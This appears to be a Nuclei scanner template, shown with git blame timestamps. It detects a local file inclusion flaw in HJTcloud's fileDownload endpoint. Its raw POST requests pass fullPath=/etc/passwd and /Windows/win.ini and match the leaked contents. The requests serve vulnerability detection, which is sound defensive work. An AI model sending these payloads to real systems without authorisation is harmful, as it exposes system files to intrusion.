2021-05-31 05:38:23 +00:00
|
|
|
id: hjtcloud-arbitrary-file-read
|
|
|
|
|
|
|
|
info:
|
2022-07-27 20:17:31 +00:00
|
|
|
name: HJTcloud - Local File Inclusion
|
2021-05-31 05:38:23 +00:00
|
|
|
author: pikpikcu
|
|
|
|
severity: high
|
2022-07-27 20:17:31 +00:00
|
|
|
description: HJTcloud is vulnerable to local file inclusion.
|
2022-04-22 10:38:41 +00:00
|
|
|
reference:
|
|
|
|
- https://mp.weixin.qq.com/s/w2pkj5ADN7b5uxe-wmfGbw
|
2022-07-27 20:17:31 +00:00
|
|
|
classification:
|
|
|
|
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
|
|
|
|
cvss-score: 7.5
|
|
|
|
cwe-id: CWE-22
|
2023-04-28 08:11:21 +00:00
|
|
|
metadata:
|
|
|
|
max-request: 2
|
2023-10-14 11:27:55 +00:00
|
|
|
tags: hjtcloud,lfi
|
2021-05-31 05:38:23 +00:00
|
|
|
|
2023-04-27 04:28:59 +00:00
|
|
|
http:
|
2021-05-31 05:38:23 +00:00
|
|
|
- raw:
|
|
|
|
- |
|
|
|
|
POST /fileDownload?action=downloadBackupFile HTTP/1.1
|
|
|
|
Host: {{Hostname}}
|
|
|
|
Accept: application/json, text/plain, */*
|
|
|
|
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
|
|
|
|
|
|
|
|
fullPath=/etc/passwd
|
|
|
|
- |
|
|
|
|
POST /fileDownload?action=downloadBackupFile HTTP/1.1
|
|
|
|
Host: {{Hostname}}
|
|
|
|
Accept: application/json, text/plain, */*
|
|
|
|
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
|
|
|
|
|
2021-05-31 08:49:23 +00:00
|
|
|
fullPath=/Windows/win.ini
|
2021-05-31 05:38:23 +00:00
|
|
|
|
|
|
|
matchers-condition: and
|
|
|
|
matchers:
|
|
|
|
- type: regex
|
|
|
|
regex:
|
2021-07-24 21:35:55 +00:00
|
|
|
- "root:.*:0:0:"
|
2021-05-31 08:49:23 +00:00
|
|
|
- "bit app support"
|
|
|
|
condition: or
|
2021-05-31 05:38:23 +00:00
|
|
|
|
|
|
|
- type: status
|
|
|
|
status:
|
|
|
|
- 200
|
2023-10-20 11:41:13 +00:00
|
|
|
|
|
|
|
# digest: 4a0a00473045022015fc8aa0cc017381974dfdc8a17b9d6f2cc930a287838ba01b510518b5618489022100f79487fdbbf4f4611f62cf912d84a35fa1ceec4ba77405e9fa30cb15339bb14b:922c64590222798bb761d5b6d8e72950
|